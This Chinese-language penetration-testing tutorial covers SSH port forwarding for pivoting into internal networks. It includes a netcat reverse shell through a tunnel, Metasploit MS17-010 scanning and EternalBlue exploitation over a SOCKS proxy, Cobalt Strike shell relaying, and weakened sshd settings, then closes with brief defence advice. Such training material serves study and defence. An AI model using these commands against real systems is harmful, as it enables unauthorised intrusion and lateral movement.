在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。
创建ssh隧道的常用参数如下:
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell。
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口。
1.本地端口转发
测试环境如下:
外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。
测试目标:以web服务器为跳板,访问数据库服务器的3389端口。
修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153:192.168.190.136:3389 [email protected] -p 22
netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接
rdesktop 127.0.0.1:1153
ssh进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。
加密传输:
实验环境如下:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux2之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。
在linux1上执行如下命令:
ssh -fCNg -L 7006:192.168.190.136:333 [email protected] -p 22
在win7上使用nc监听本地333端口
nc -lvp 333
在win ser2008上使用nc连接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已经获得了win2008的shell了。
2.远程端口转发
测试环境如下:
左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。
测试目标:通过外网vps访问数据库服务器的3389端口。
以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。
在web服务器上执行如下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521:192.168.190.136:3389 [email protected]
netstat -anptl | grep 1521 查看远程 vps(192.168.190.110)发现已经开启对1521端口的监听
rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。
总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。
3.动态转发
测试环境如下:
在vps上执行如下命令,建立一个动态的socks代理通道
ssh fCNg -D 7000 [email protected]
查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。
然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。
此时,也可以使用metasploit挂socks代理扫描目标内网ms17-010
msfconsole -q
msf5 > setg proxies socks5:192.168.174.130:7000
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.190.132
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > set rhost 192.168.190.136
msf5 > set lhost 192.168.174.130
msf5 > set lport 444
msf5 > set ReverseAllowProxy true
msf5 > exploit
总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。
4.X协议转发
1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。
2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发
ssh -X [email protected] -p 53
X协议转发测试
可以使用远程主机的图像化工具
ssh -X [email protected]
5.ssh隧道实战中的用法
若公网服务器没有Metasploit时,可以创建ssh隧道,将CS shell 转发到公网VPS的8080端口,在kali上创建本地kali到公网VPS的ssh隧道,然后就可以在kali上获得CS委派过来的shell了。
1.创建ssh隧道
公网vps的ssh配置修改如下:
AllowTcpForwarding yes
GatwayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
ssh -CfNg -R 1.1.1.1:3306:192.168.174.130:3306 [email protected] -p 1521
2.将CS的shell委派给公网VPS的3306端口
3.公网VPS的3306将收到的流量通过ssh隧道又传递给了本地kali的3306端口,从而获得了shell。
6.ssh隧道防御
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。